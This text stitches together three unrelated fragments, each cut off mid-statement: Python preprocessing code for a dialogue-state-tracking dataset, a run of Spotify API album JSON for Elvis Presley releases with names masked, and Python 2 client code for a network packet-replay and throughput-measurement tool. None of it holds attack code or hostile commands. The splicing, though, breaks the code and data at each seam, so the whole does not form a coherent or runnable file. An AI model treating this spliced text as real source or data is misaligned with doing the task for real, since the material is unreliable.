intent_idx = 0 # active_intent = _frame['state']['active_intent'] # if active_intent == 'NONE': # active_intent = 'none' # intent_idx = intents[frame_id].index(active_intent) # last_intent_tag = [0]*len(intents[frame_id]) # if last_intent[frame_id] in intents[frame_id]: # last_intent_tag[intents[frame_id].index(last_intent[frame_id])] = 1 # last_intent[frame_id] = active_intent _data.append([dialogue_id, frame_id, turn_id, _turn['utterance'], uttr_tokenized,\ intents[frame_id], intents_desp[frame_id], intent_idx, last_intent_tag]) turn_id += 1 api_service = _dial['services'][0] if api_service not in data: data[api_service] = {} data[api_service][dialogue_id] = _data return data # slots from sys def prepare_copy_slot(self, dials, schemas): data = {} total_slotsCopy = 0 for dialogue_id in dials: _dial = dials[dialogue_id] _data = [] for _turn in _dial['turns']: if _turn['speaker'] == 'SYSTEM': continue if _turn['speaker'] == 'USER': # uttr_tokenized = self.tokenizer_bert.tokenize(_turn['utterance']) for frame_id in _turn['frames']: _schema = schemas[frame_id] _frame = _turn['frames'][frame_id] try: intent_info = _schema['intents'][_frame['state']['active_intent']] except KeyError: intent_info = {'required_slots':{}, 'optional_slots':{}, 'description_tokenized':[]} api_desp = self.tokenizer_bert.tokenize('api: '+_schema['description'].lower()) uttr_tokenized = api_desp + ['[SEP]'] + _turn['uttr_tokenized'] for slot_name in _schema['slots']: if slot_name in _turn['sys_slot_provide'][frame_id]: if _turn['sys_slot_provide'][frame_id][slot_name][1]=='INFORM': continue if slot_name not in _turn['sys_slot_provide'][frame_id]: continue slot_required = slot_name in intent_info['required_slots'] slot_optional = slot_name in intent_info['optional_slots'] slot_in_sys_his = slot_name in _turn['sys_slot_provide'][frame_id] slot_in_usr_his = slot_name in _turn['state_slots_history'][frame_id] if len(set(slot_name.split('_')) & _frame['slot_key_words']) > 2: slot_prior = True else: slot_prior = False slot_info = _schema['slots'][slot_name] # slot_desp_tokenized = slot_info['description_tokenized_simple'] + ['[SEP]']\ # + slot_info['description_tokenized'] slot_desp_tokenized = slot_info['description_tokenized'] if slot_name in _frame['cate_slots']: if _frame['cate_slots'][slot_name]['from_sys']: if _turn['sys_slot_provide'][frame_id][slot_name][1]=='INFORM': continue slot_type = 0 assert slot_in_sys_his == True total_slotsCopy += 1 else: # assert slot_in_usr_his == True slot_type = 1 elif slot_name in _frame['slots_nonCate']: if _frame['slots_nonCate'][slot_name]['from_sys']: if _turn['sys_slot_provide'][frame_id][slot_name][1]=='INFORM': continue slot_type = 0 assert slot_in_sys_his == True total_slotsCopy += 1 else: # assert slot_in_usr_his == True slot_type = 1 else: # assert slot_in_usr_his == True slot_type = 1 _data.append([dialogue_id, frame_id, _turn['speaker'], _turn['utterance'], \ slot_name, slot_in_sys_his, slot_in_usr_his, \ slot_required, slot_optional,\ uttr_tokenized, slot_desp_tokenized,\ slot_type, slot_prior]) api_service = _dial['services'][0] if api_service not in data: data[api_service] = {} data[api_service][dialogue_id] = _data print(total_slotsCopy) return data # slots from sys def prepare_slot_cross(self, dials, schemas): data = {} total_slotsCopy = 0 total_slotsCopy_check = 0 for dialogue_id in dials: _dial = dials[dialogue_id] apis = _dial['services'] _data = [] for _turn in _dial['turns']: if _turn['speaker'] == 'SYSTEM': continue if _turn['speaker'] == 'USER': # uttr_tokenized = self.tokenizer_bert.tokenize(_turn['utterance']) for frame_id in _turn['frames']: _schema = schemas[frame_id] _frame = _turn['frames'][frame_id] total_slotsCopy_check += len(_frame['slots_cross_api']) try: intent_info = _schema['intents'][_frame['state']['active_intent']] except KeyError: intent_info = {'required_slots':{}, 'optional_slots':{}, 'description_tokenized':[]} api_desp = self.tokenizer_bert.tokenize('api: '+_schema['description'].lower()) uttr_tokenized = _turn['uttr_tokenized'] for slot_name in _schema['slots']: slot_info = _schema['slots'][slot_name] slot_desp_tokenized = slot_info['description_tokenized'] slot_required = slot_name in intent_info['required_slots'] slot_optional = slot_name in intent_info['optional_slots'] slot_in_frame_his = slot_name in _turn['frame_slots_history'][frame_id] sample_tag = 1 if len(set(slot_name.split('_')) & _frame['slot_key_words']) > 2: slot_prior = True else: slot_prior = False for cross_frame_id in apis: if cross_frame_id == frame_id: continue sample_tag = 1 for slot_cross in schemas[cross_frame_id]['slots']: if slot_cross not in _turn['frame_slots_history'][cross_frame_id]: continue sample_tag = 1 slot_in_cross_frame_his = slot_cross in _turn['frame_slots_history'][cross_frame_id] slot_cross_desp_tokenized = schemas[cross_frame_id]['slots'][slot_cross]['description_tokenized'] if slot_name in _frame['slots_cross_api']: # print(_frame['slots_cross_api'][slot_name]) # exit() if (cross_frame_id, slot_cross) in _frame['slots_cross_api'][slot_name]: sample_tag = 0 total_slotsCopy += 1 # print(dialogue_id, _turn['utterance'], slot_name, cross_frame_id, slot_cross) _data.append([dialogue_id, frame_id, cross_frame_id, _turn['speaker'], _turn['utterance'], \ slot_name, slot_cross, \ slot_in_cross_frame_his, slot_in_frame_his, \ slot_required, slot_optional,\ uttr_tokenized, slot_desp_tokenized, slot_cross_desp_tokenized,\ slot_prior, sample_tag]) api_service = _dial['services'][0] if api_service not in data: data[api_service] = {} data[api_service][dialogue_id] = _data print(total_slotsCopy, total_slotsCopy_check) return data # slots from sys def prepare_slot_cross_v1(self, dials, schemas): data = {} total_slotsCopy = 0 total_slotsCopy_check = 0 for dialogue_id in dials: _dial = dials[dialogue_id] apis = _dial['services'] _data = [] last_frames = {} frame_success = {} for api in apis: frame_success[api] = False for _turn in _dial['turns']: if _turn['speaker'] == 'SYSTEM': for frame_id in _turn['frames']: _frame = _turn['frames'][frame_id] if 'NOTIFY_SUCCESS' in [_frame['actions'][act]['act'] for act in _frame['actions']]: frame_success[frame_id] = True continue if _turn['speaker'] == 'USER': # uttr_tokenized = self.tokenizer_bert.tokenize(_turn['utterance']) for frame_id in _turn['frames']: if frame_id in last_frames: frame_continue = True else: frame_continue = False _schema = schemas[frame_id] _frame = _turn['frames'][frame_id] total_slotsCopy_check += len(_frame['slots_cross_api']) try: intent_info = _schema['intents'][_frame['state']['active_intent']] except KeyError: intent_info = {'required_slots':{}, 'optional_slots':{}, 'description_tokenized':[]} api_desp = self.tokenizer_bert.tokenize(frame_id.split('_')[0].lower()) uttr_tokenized = _turn['uttr_tokenized'] for slot_name in _schema['slots']: slot_info = _schema['slots'][slot_name] slot_desp_tokenized = slot_info['description_tokenized_simple'] + ['#'] + slot_info['description_tokenized'] # slot_desp_tokenized = slot_info['description_tokenized_simple'] + ['#'] + api_desp slot_required = slot_name in intent_info['required_slots'] slot_optional = slot_name in intent_info['optional_slots'] slot_in_frame_his = slot_name in _turn['frame_slots_history'][frame_id] sample_tag = 1 slot_prior = False if len(set(slot_name.split('_')) & _frame['slot_key_words']) > 1: slot_prior = True # else: # slot_prior = False for cross_frame_id in apis: if cross_frame_id == frame_id: continue cross_api_desp = self.tokenizer_bert.tokenize(cross_frame_id.split('_')[0].lower()) sample_tag = 1 for slot_cross in schemas[cross_frame_id]['slots']: if slot_cross not in _turn['frame_slots_history'][cross_frame_id]: continue sample_tag = 1 slot_in_cross_frame_his = slot_cross in _turn['frame_slots_history'][cross_frame_id] slot_cross_desp_tokenized = \ schemas[cross_frame_id]['slots'][slot_cross]['description_tokenized_simple'] \ + ['#'] + schemas[cross_frame_id]['slots'][slot_cross]['description_tokenized'] slot_cross_prior = False if slot_name in _frame['slots_cross_api']: key_words = [] for x in _frame['slots_cross_api'][slot_name]: key_words += x[1].split('_') if len(set(slot_cross.split('_')) & set(key_words)) > 0: slot_cross_prior = True if (cross_frame_id, slot_cross) in _frame['slots_cross_api'][slot_name]: sample_tag = 0 total_slotsCopy += 1 # print(dialogue_id, _turn['utterance'], slot_name, cross_frame_id, slot_cross) _data.append([dialogue_id, frame_id, cross_frame_id, _turn['speaker'], _turn['utterance'], \ slot_name, slot_cross, \ slot_in_cross_frame_his, slot_in_frame_his, \ slot_required, slot_optional, frame_success[cross_frame_id], \ uttr_tokenized, slot_desp_tokenized, slot_cross_desp_tokenized,\ slot_prior or slot_cross_prior, sample_tag]) last_frames = {} for frame_id in _turn['frames']: last_frames[frame_id] = '' api_service = _dial['services'][0] if api_service not in data: data[api_service] = {} data[api_service][dialogue_id] = _data print(total_slotsCopy, total_slotsCopy_check) return data # uttr that can copy slots from sys def prepare_copy_uttr(self, dials, schemas): data = {} for dialogue_id in dials: _dial = dials[dialogue_id] if _dial['services'][0] not in schemas: print(_dial['services'][0], ' not in schemas! ', path) continue api = _dial['services'][0] # single_api api_desp = self.tokenizer_bert.tokenize(api.lower().replace('_', ' ')) _data = [] for _turn in _dial['turns']: if _turn['speaker'] == 'SYSTEM': continue if _turn['speaker'] == 'USER': uttr_tokenized = api_desp + ['#'] + _turn['uttr_tokenized'] # uttr_tokenized = self.tokenizer_bert.tokenize(_turn['utterance']) for frame_id in _turn['frames']: _schema = schemas[frame_id] _frame = _turn['frames'][frame_id] state_slots = dict(list(_frame['cate_slots'].items()) + \ list(_frame['slots_nonCate'].items())) uttr_label = 1 for slot_name in state_slots: if state_slots[slot_name]['from_sys']: uttr_label = 0 break _data.append([dialogue_id, _turn['speaker'], _turn['utterance'], \ uttr_tokenized, uttr_label]) api_service = _dial['services'][0] if api_service not in
"LI", "LT", "LU", "LV", "MA", "MC", "MT", "MX", "MY", "NI", "NL", "NO", "NZ", "OM", "PA", "PE", "PH", "PL", "PS", "PT", "PY", "QA", "RO", "SA", "SE", "SG", "SK", "SV", "TH", "TN", "TR", "TW", "US", "UY", "VN", "ZA" ], "external_urls": { "spotify": "https://open.spotify.com/album/0C3t1htEDTFKcg7F2rNbek" }, "href": "https://api.spotify.com/v1/albums/0C3t1htEDTFKcg7F2rNbek", "id": "0C3t1htEDTFKcg7F2rNbek", "images": [ { "height": 640, "url": "https://i.scdn.co/image/f3c95ddbd77813737616eb327b4e31106d0b2bab", "width": 640 }, { "height": 300, "url": "https://i.scdn.co/image/cc7323d63e79dd46fea998f99ef459544114b01c", "width": 300 }, { "height": 64, "url": "https://i.scdn.co/image/3cbd4a9b70b83f98d8ef8691c6a5f1c2c32f1bcc", "width": 64 } ], "name": "<NAME>", "release_date": "1958-03-21", "release_date_precision": "day", "total_tracks": 14, "type": "album", "uri": "spotify:album:0C3t1htEDTFKcg7F2rNbek" }, { "album_type": "compilation", "artists": [ { "external_urls": { "spotify": "https://open.spotify.com/artist/43ZHCT0cAZBISjO8DG9PnE" }, "href": "https://api.spotify.com/v1/artists/43ZHCT0cAZBISjO8DG9PnE", "id": "43ZHCT0cAZBISjO8DG9PnE", "name": "<NAME>", "type": "artist", "uri": "spotify:artist:43ZHCT0cAZBISjO8DG9PnE" } ], "available_markets": [ "AD", "AE", "AR", "AT", "AU", "BE", "BG", "BH", "BO", "BR", "CA", "CH", "CL", "CO", "CR", "CY", "CZ", "DE", "DK", "DO", "DZ", "EC", "EE", "EG", "ES", "FI", "FR", "GB", "GR", "GT", "HK", "HN", "HU", "ID", "IE", "IL", "IN", "IS", "IT", "JO", "JP", "KW", "LB", "LI", "LT", "LU", "LV", "MA", "MC", "MT", "MX", "MY", "NI", "NL", "NO", "NZ", "OM", "PA", "PE", "PH", "PL", "PS", "PT", "PY", "QA", "RO", "SA", "SE", "SG", "SK", "SV", "TH", "TN", "TR", "TW", "US", "UY", "VN", "ZA" ], "external_urls": { "spotify": "https://open.spotify.com/album/0QVoYzGd1p8Z3ohEaM0lsc" }, "href": "https://api.spotify.com/v1/albums/0QVoYzGd1p8Z3ohEaM0lsc", "id": "0QVoYzGd1p8Z3ohEaM0lsc", "images": [ { "height": 640, "url": "https://i.scdn.co/image/efa549a3619dffcbf31e937b3419750195f42282", "width": 640 }, { "height": 300, "url": "https://i.scdn.co/image/97f5e9a283a428ab4dbd32ece5009f46f079ab62", "width": 300 }, { "height": 64, "url": "https://i.scdn.co/image/f49f7c681ed6a4548328875ee36e9a8f462c59cf", "width": 64 } ], "name": "Elvis 30 #1 Hits", "release_date": "2002-09-24", "release_date_precision": "day", "total_tracks": 31, "type": "album", "uri": "spotify:album:0QVoYzGd1p8Z3ohEaM0lsc" }, { "album_type": "album", "artists": [ { "external_urls": { "spotify": "https://open.spotify.com/artist/43ZHCT0cAZBISjO8DG9PnE" }, "href": "https://api.spotify.com/v1/artists/43ZHCT0cAZBISjO8DG9PnE", "id": "43ZHCT0cAZBISjO8DG9PnE", "name": "<NAME>", "type": "artist", "uri": "spotify:artist:43ZHCT0cAZBISjO8DG9PnE" } ], "available_markets": [ "AD", "AE", "AR", "AT", "AU", "BE", "BG", "BH", "BO", "BR", "CA", "CH", "CL", "CO", "CR", "CY", "CZ", "DE", "DK", "DO", "DZ", "EC", "EE", "EG", "ES", "FI", "FR", "GB", "GR", "GT", "HK", "HN", "HU", "ID", "IE", "IL", "IN", "IS", "IT", "JO", "JP", "KW", "LB", "LI", "LT", "LU", "LV", "MA", "MC", "MT", "MX", "MY", "NI", "NL", "NO", "NZ", "OM", "PA", "PE", "PH", "PL", "PS", "PT", "PY", "QA", "RO", "SA", "SE", "SG", "SK", "SV", "TH", "TN", "TR", "TW", "US", "UY", "VN", "ZA" ], "external_urls": { "spotify": "https://open.spotify.com/album/3ekkFrfotMsEAKc5g71GHk" }, "href": "https://api.spotify.com/v1/albums/3ekkFrfotMsEAKc5g71GHk", "id": "3ekkFrfotMsEAKc5g71GHk", "images": [ { "height": 640, "url": "https://i.scdn.co/image/3a36159ea0439cd53d807ef0643d4e228406381a", "width": 640 }, { "height": 300, "url": "https://i.scdn.co/image/d7bfcff6020fd48921a9f154a4266d7f4851cfa9", "width": 300 }, { "height": 64, "url": "https://i.scdn.co/image/303c5223ef3da80078bdaedf50dceacbb951dc23", "width": 64 } ], "name": "From Elvis in Memphis", "release_date": "1969-06-17", "release_date_precision": "day", "total_tracks": 16, "type": "album", "uri": "spotify:album:3ekkFrfotMsEAKc5g71GHk" }, { "album_type": "album", "artists": [ { "external_urls": { "spotify": "https://open.spotify.com/artist/43ZHCT0cAZBISjO8DG9PnE" }, "href": "https://api.spotify.com/v1/artists/43ZHCT0cAZBISjO8DG9PnE", "id": "43ZHCT0cAZBISjO8DG9PnE", "name": "<NAME>", "type": "artist", "uri": "spotify:artist:43ZHCT0cAZBISjO8DG9PnE" } ], "available_markets": [ "AD", "AE", "AR", "AT", "AU", "BE", "BG", "BH", "BO", "BR", "CA", "CH", "CL", "CO", "CR", "CY", "CZ", "DE", "DK", "DO", "DZ", "EC", "EE", "EG", "ES", "FI", "FR", "GB", "GR", "GT", "HK", "HN", "HU", "ID", "IE", "IL", "IN", "IS", "IT", "JO", "JP", "KW", "LB", "LI", "LT", "LU", "LV", "MA", "MC", "MT", "MX", "MY", "NI", "NL", "NO", "NZ", "OM", "PA", "PE", "PH", "PL", "PS", "PT", "PY", "QA", "RO", "SA", "SE", "SG", "SK", "SV", "TH", "TN", "TR", "TW", "US", "UY", "VN", "ZA" ], "external_urls": { "spotify": "https://open.spotify.com/album/7xe8VI48TxUpU1IIo0RfGi" }, "href": "https://api.spotify.com/v1/albums/7xe8VI48TxUpU1IIo0RfGi", "id": "7xe8VI48TxUpU1IIo0RfGi", "images": [ { "height": 640, "url": "https://i.scdn.co/image/ef0dc94d4a69ad10da0fa3768db0b0a1601df668", "width": 640 }, { "height": 300, "url": "https://i.scdn.co/image/be0a2916a8b5aa16e90a471cb5a53d92a233a6dc", "width": 300 }, { "height": 64, "url": "https://i.scdn.co/image/dd5d7f28db5df5d620eed297eaf91e0ea790eeb3", "width": 64 } ], "name": "Blue Hawaii", "release_date": "1961-10-20", "release_date_precision": "day", "total_tracks": 14, "type": "album", "uri": "spotify:album:7xe8VI48TxUpU1IIo0RfGi" }, { "album_type": "album", "artists": [ { "external_urls": { "spotify": "https://open.spotify.com/artist/43ZHCT0cAZBISjO8DG9PnE" }, "href": "https://api.spotify.com/v1/artists/43ZHCT0cAZBISjO8DG9PnE", "id": "43ZHCT0cAZBISjO8DG9PnE", "name": "<NAME>", "type": "artist", "uri": "spotify:artist:43ZHCT0cAZBISjO8DG9PnE" } ], "available_markets": [ "AD", "AE", "AR", "AT", "AU", "BE", "BG", "BH", "BO", "BR", "CA", "CH", "CL", "CO", "CR", "CY", "CZ", "DE", "DK", "DO", "DZ", "EC", "EE", "EG", "ES", "FI", "FR", "GB", "GR", "GT", "HK", "HN", "HU", "ID", "IE", "IL", "IN", "IS", "IT", "JO", "JP", "KW", "LB", "LI", "LT", "LU", "LV", "MA", "MC", "MT", "MX", "MY", "NI", "NL", "NO", "NZ", "OM", "PA", "PE", "PH", "PL", "PS", "PT", "PY", "QA", "RO", "SA", "SE", "SG", "SK", "SV", "TH", "TN", "TR", "TW", "US", "UY", "VN", "ZA" ], "external_urls": { "spotify": "https://open.spotify.com/album/3gpHiNAmT5oXVxe6ewTGuN" }, "href": "https://api.spotify.com/v1/albums/3gpHiNAmT5oXVxe6ewTGuN", "id": "3gpHiNAmT5oXVxe6ewTGuN", "images": [ { "height": 640, "url": "https://i.scdn.co/image/7a1a08f2c1b22eca8b9b775d002c4a6d248a6c9b", "width": 640 }, { "height": 300, "url": "https://i.scdn.co/image/690a5b3dfd767eb234e7efd168867d7106457619", "width": 300 }, { "height": 64, "url": "https://i.scdn.co/image/a58c531a579e9e0fb9367a59ee1bc50a912dfc01", "width": 64 } ], "name": "<NAME>)", "release_date": "1973-07-16", "release_date_precision": "day", "total_tracks": 16, "type": "album", "uri": "spotify:album:3gpHiNAmT5oXVxe6ewTGuN" }, { "album_type": "album", "artists": [ { "external_urls": { "spotify": "https://open.spotify.com/artist/43ZHCT0cAZBISjO8DG9PnE" }, "href": "https://api.spotify.com/v1/artists/43ZHCT0cAZBISjO8DG9PnE", "id": "43ZHCT0cAZBISjO8DG9PnE", "name": "<NAME>", "type": "artist", "uri": "spotify:artist:43ZHCT0cAZBISjO8DG9PnE" } ], "available_markets": [ "AD", "AE", "AR", "AT", "AU", "BE", "BG", "BH", "BO", "BR", "CA", "CH", "CL", "CO", "CR", "CY", "CZ", "DE", "DK", "DO", "DZ", "EC", "EE", "EG", "ES", "FI", "FR", "GB", "GR", "GT", "HK", "HN", "HU", "ID", "IE", "IL", "IN", "IS", "IT", "JO", "JP", "KW", "LB", "LI", "LT", "LU", "LV", "MA", "MC", "MT", "MX", "MY", "NI", "NL", "NO", "NZ", "OM", "PA", "PE", "PH", "PL", "PS", "PT", "PY", "QA", "RO", "SA", "SE", "SG", "SK", "SV", "TH", "TN", "TR", "TW", "US", "UY", "VN", "ZA" ], "external_urls": { "spotify": "https://open.spotify.com/album/1vaQwUom5fWnLNJDcabU01" }, "href": "https://api.spotify.com/v1/albums/1vaQwUom5fWnLNJDcabU01", "id": "1vaQwUom5fWnLNJDcabU01", "images": [ { "height": 640, "url": "https://i.scdn.co/image/06cc0468438b701783a1d1ebd02802a728c2b909", "width": 640 }, { "height": 300, "url": "https://i.scdn.co/image/5880be08bc3120fc3b3f6fb8363fec1316e672d7", "width": 300 }, { "height": 64, "url": "https://i.scdn.co/image/4bcb84a5575bf407f4a21a74990d694eace474d4", "width": 64 } ], "name": "The Best of The '68 Comeback Special", "release_date": "2019-02-15", "release_date_precision": "day", "total_tracks": 19, "type": "album", "uri": "spotify:album:1vaQwUom5fWnLNJDcabU01" }, { "album_type": "album", "artists": [ { "external_urls": { "spotify": "https://open.spotify.com/artist/43ZHCT0cAZBISjO8DG9PnE" }, "href": "https://api.spotify.com/v1/artists/43ZHCT0cAZBISjO8DG9PnE", "id": "43ZHCT0cAZBISjO8DG9PnE", "name": "<NAME>", "type": "artist", "uri": "spotify:artist:43ZHCT0cAZBISjO8DG9PnE" } ], "available_markets": [ "AD", "AE", "AR", "AT", "AU", "BE", "BG", "BH", "BO", "BR", "CA", "CH", "CL", "CO", "CR", "CY", "CZ", "DE", "DK", "DO", "DZ", "EC", "EE", "EG", "ES", "FI", "FR", "GB", "GR", "GT", "HK", "HN", "HU", "ID", "IE", "IL", "IN", "IS", "IT", "JO", "JP", "KW", "LB", "LI", "LT", "LU", "LV", "MA", "MC", "MT", "MX", "MY", "NI", "NL", "NO", "NZ", "OM", "PA", "PE", "PH", "PL", "PS", "PT", "PY", "QA", "RO", "SA", "SE", "SG", "SK", "SV", "TH", "TN", "TR", "TW", "US", "UY", "VN", "ZA" ], "external_urls": { "spotify": "https://open.spotify.com/album/5Iec810oL6PorbyBVjLnmD" }, "href": "https://api.spotify.com/v1/albums/5Iec810oL6PorbyBVjLnmD", "id": "5Iec810oL6PorbyBVjLnmD", "images": [ { "height": 640, "url": "https://i.scdn.co/image/3aef61e227c3c7e3f43813e4b54b79dfb0d4ac3e", "width": 640 }, { "height": 300, "url": "https://i.scdn.co/image/8b1e46ec3642db578ff480db73655fd6fdf0634b", "width": 300 }, { "height": 64, "url": "https://i.scdn.co/image/7321e74664f3660f621b138f953766acc3b6f9d8", "width": 64 } ], "name": "<NAME>, Vol. 3", "release_date": "1963-08-11", "release_date_precision": "day", "total_tracks": 12, "type": "album", "uri": "spotify:album:5Iec810oL6PorbyBVjLnmD" }, { "album_type": "album", "artists": [ { "external_urls": { "spotify": "https://open.spotify.com/artist/43ZHCT0cAZBISjO8DG9PnE" }, "href": "https://api.spotify.com/v1/artists/43ZHCT0cAZBISjO8DG9PnE", "id": "43ZHCT0cAZBISjO8DG9PnE", "name": "<NAME>", "type": "artist", "uri": "spotify:artist:43ZHCT0cAZBISjO8DG9PnE" } ], "available_markets": [ "AD", "AE", "AR", "AT", "AU", "BE", "BG", "BH", "BO", "BR", "CA", "CH", "CL", "CO", "CR", "CY", "CZ", "DE", "DK", "DO", "DZ", "EC", "EE", "EG", "ES", "FI", "FR", "GB", "GR", "GT", "HK", "HN", "HU", "ID", "IE", "IL", "IN", "IS", "IT", "JO", "JP", "KW", "LB", "LI", "LT", "LU", "LV", "MA", "MC", "MT", "MX", "MY", "NI", "NL", "NO", "NZ", "OM", "PA", "PE", "PH", "PL", "PS", "PT", "PY", "QA", "RO", "SA", "SE", "SG", "SK", "SV", "TH", "TN", "TR", "TW", "US", "UY", "VN", "ZA" ], "external_urls": { "spotify": "https://open.spotify.com/album/7GXP5OhYyPVLmcVfO9Iqin" }, "href": "https://api.spotify.com/v1/albums/7GXP5OhYyPVLmcVfO9Iqin", "id": "7GXP5OhYyPVLmcVfO9Iqin", "images": [ { "height": 640, "url": "https://i.scdn.co/image/b80a490aeb3916fdc1aa701eb70e201ce9419f42", "width": 640 }, { "height": 300, "url": "https://i.scdn.co/image/ee3032234b7a06fcfecb96a460297df42e9732c1", "width": 300 }, { "height": 64, "url": "https://i.scdn.co/image/f85d77e3b0e19390eb8b7ae4e1942d40ccf3b7d9", "width": 64 } ], "name": "<NAME>", "release_date": "1956-03-23", "release_date_precision": "day", "total_tracks": 12, "type": "album", "uri": "spotify:album:7GXP5OhYyPVLmcVfO9Iqin" }, { "album_type": "compilation", "artists": [ { "external_urls": { "spotify": "https://open.spotify.com/artist/43ZHCT0cAZBISjO8DG9PnE" }, "href": "https://api.spotify.com/v1/artists/43ZHCT0cAZBISjO8DG9PnE", "id": "43ZHCT0cAZBISjO8DG9PnE", "name": "<NAME>", "type": "artist", "uri": "spotify:artist:43ZHCT0cAZBISjO8DG9PnE" } ], "available_markets": [ "AD", "AE", "AR", "AT", "AU", "BE", "BG", "BH", "BO", "BR", "CA", "CH", "CL", "CO", "CR", "CY", "CZ", "DE", "DK", "DO", "DZ", "EC", "EE", "EG", "ES", "FI", "FR", "GB", "GR", "GT", "HK", "HN", "HU", "ID", "IE", "IL", "IN", "IS", "IT", "JO", "JP", "KW", "LB", "LI", "LT", "LU", "LV", "MA", "MC", "MT", "MX", "MY", "NI", "NL", "NO", "NZ", "OM", "PA", "PE", "PH", "PL", "PS", "PT", "PY", "QA", "RO", "SA", "SE", "SG", "SK", "SV", "TH", "TN", "TR", "TW", "US",
self.bin2str(newb) return newpayload def cModify(self, clientQ): if self.action == 'Random': clientQ[self.mpacNum - 1].payload = self.randomize(clientQ[self.mpacNum - 1].payload) elif self.action == 'Invert': clientQ[self.mpacNum - 1].payload = self.bitInv(clientQ[self.mpacNum - 1].payload) elif self.action == 'Delete': # print '\n\t Client Q Before deleting ::',clientQ if self.mpacNum > 1: clientQ.pop(self.mpacNum - 1) # print '\n\t Client Q after deleting ::',clientQ else: print '\r\n Can not delete the first packet, making it a single byte packet' rstring = ''.join(random.choice(string.ascii_letters + string.digits) for x in range(1)) preQ = RequestSet(rstring, clientQ[0].c_s_pair, None, clientQ[0].timestamp) clientQ.insert(0, preQ) elif self.action == 'Prepend': preNum = self.spec[0] preLen = self.spec[1] random.seed(self.action) rstring = ''.join(random.choice(string.ascii_letters + string.digits) for x in range(preLen)) for i in xrange(preNum): preQ = RequestSet(rstring, clientQ[0].c_s_pair, None, clientQ[0].timestamp) clientQ.insert(0, preQ) # print '\n\t Client Q after prepending ::',TMPclientQ elif self.action == 'ReplaceW': regions = self.spec clientQ[self.mpacNum - 1].payload = self.multiReplace(clientQ[self.mpacNum - 1].payload, regions, '') elif self.action == 'ReplaceR': regions = self.spec rpayload = self.randomize(clientQ[self.mpacNum - 1].payload) clientQ[self.mpacNum - 1].payload = self.multiReplace(clientQ[self.mpacNum - 1].payload, regions, rpayload) elif self.action == 'ReplaceI': regions = self.spec rpayload = self.bitInv(clientQ[self.mpacNum - 1].payload) clientQ[self.mpacNum - 1].payload = self.multiReplace(clientQ[self.mpacNum - 1].payload, regions, rpayload) else: print '\n\t Unrecognized Action,', self.action, ' No ACTION taken HERE in CModify' return clientQ # TODO throughput analysis takes bucket number as an input, and it sleeps for totaltime/#buckets and checks the buffer def throughputAnalysis(self, bytesBuf, bufLock): # These two parameters depend on the configuration sleepTime = float(22)/float(100) count = 0 while self.doneSending != True: time.sleep(sleepTime) xput = 0 bufLock.acquire() # print '\r\n Analysis TCP ACQUIRED',bytesBuf if bytesBuf[1] != 0: bytesIncrease = bytesBuf[1] bytesBuf[0] += bytesIncrease xput = (bytesIncrease/sleepTime)*8/1000000.0 bytesBuf[1] = 0 # print '\r\n - PREVIOUSLY RECEIVED, NEW RECEIVED',bytesBuf[0], bytesIncrease, xput bufLock.release() self.clientXputs.append(xput) self.clientDur.append(count*sleepTime) count += 1 def run(self, Q, clientMapping, udpSocketList, udpServerMapping, timing): self.timing = timing self.clientMapping = clientMapping self.udpServerMapping = udpServerMapping self.time_origin = time.time() self.jitterTimeOrigin = time.time() threads = [] udpCount = 0 tcpCount = 0 # Changes made in the the Q if self.mpacNum > 0: # Make changes according to action and spec on the specified packet Q = self.cModify(Q) progress_bar = print_progress(len(Q)) a = threading.Thread(target=self.throughputAnalysis, args=(self.bytesBuf, self.bufLock,)) a.start() for p in Q: if DEBUG == 4: progress_bar.next() ''' For every TCP packet: 1- Determine on which client is should be sent out. 2- Wait until client.event is set --> client is not receiving a response. 3- Send tcp payload [and receive response] by calling self.next(). 4- Wait until send_event is set --> sending is done. Finally, make sure all sending/receiving threads are done before returning. ''' try: p.response_len except AttributeError: self.nextUDP(p, udpSocketList) udpCount += 1 continue tcpCount += 1 client = self.clientMapping['tcp'][p.c_s_pair] client.event.wait() client.event.clear() threads.append(self.nextTCP(client, p)) self.send_event.wait() self.send_event.clear() map(lambda x: x.join(), threads) # Let the throughput analyzer know when sending is done self.doneSending = True PRINT_ACTION('Done sending! (sent TCP: {}, UDP: {} packets)'.format(tcpCount, udpCount), 1, action=False) def nextTCP(self, client, tcp): ''' It fires off a thread to sends a single tcp packet and receive it's response. It returns the thread handle. ''' if self.timing: try: time.sleep((self.time_origin + tcp.timestamp) - time.time()) except: pass t = threading.Thread(target=client.single_tcp_request_response, args=(tcp, self.send_event, self.bytesBuf, self.bufLock, self.totalbuff_len,)) t.start() return t # TODO ADD CLIENT ANALYSIS FOR UDP def nextUDP(self, udp, udpSocketList): clientPort = udp.c_s_pair[16:21] dstIP = udp.c_s_pair[22:-6] dstPort = udp.c_s_pair[-5:] dstAddress = self.udpServerMapping[dstIP][dstPort] client = self.clientMapping['udp'][clientPort] if client.sock is None: client.create_socket() udpSocketList.append(client.sock) if self.timing: try: time.sleep((self.time_origin + udp.timestamp) - time.time()) except: pass currentTime = time.time() self.sent_jitter.append( (str(currentTime - self.jitterTimeOrigin), udp.payload) ) self.jitterTimeOrigin = currentTime client.send_udp_packet(udp, dstAddress) class Receiver(object): def __init__(self, buff_size=4096): self.buff_size = buff_size self.keepRunning = True self.rcvd_jitter = [] def run(self, udpSocketList): self.jitterTimeOrigin = time.time() count = 0 while self.keepRunning is True: r, w, e = select.select(udpSocketList, [], [], 0.1) for sock in r: (data, address) = sock.recvfrom(self.buff_size) activityQ.put(1) count += 1 currentTime = time.time() self.rcvd_jitter.append( (str(currentTime - self.jitterTimeOrigin), data) ) self.jitterTimeOrigin = currentTime if DEBUG == 2: print '\tGot: ', data if DEBUG == 3: print '\tGot: ', len(data), 'on', sock.getsockname(), 'from', address PRINT_ACTION('Done receiving! (received {} UDP packets)'.format(count), 1, action=False) class SideChannel(object): ''' Client uses SideChannel to: 0- Initiate SideChannel connection 1- Identify itself to the server (by sending id;replayName) 2- Receive port mapping from the server (so it know what each original csp has been mapped to on the server) 3- Request and receive results (once done with the replay) 4- At this point, the server itself will close the connection ''' def __init__(self, instance, buff_size=4096): self.instance = instance self.buff_size = buff_size self.doneSending = False self.monitor = True self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.bind((Configs().get('publicIP'), 0)) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) self.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) self.sock.connect(self.instance) def activityMonitor(self, actQ, errQ, maxIdleTime, replayObj): ''' This function monitors the replay process and kills if necessary. ''' latestActivity = time.time() exitCode = 0 while self.monitor: try: 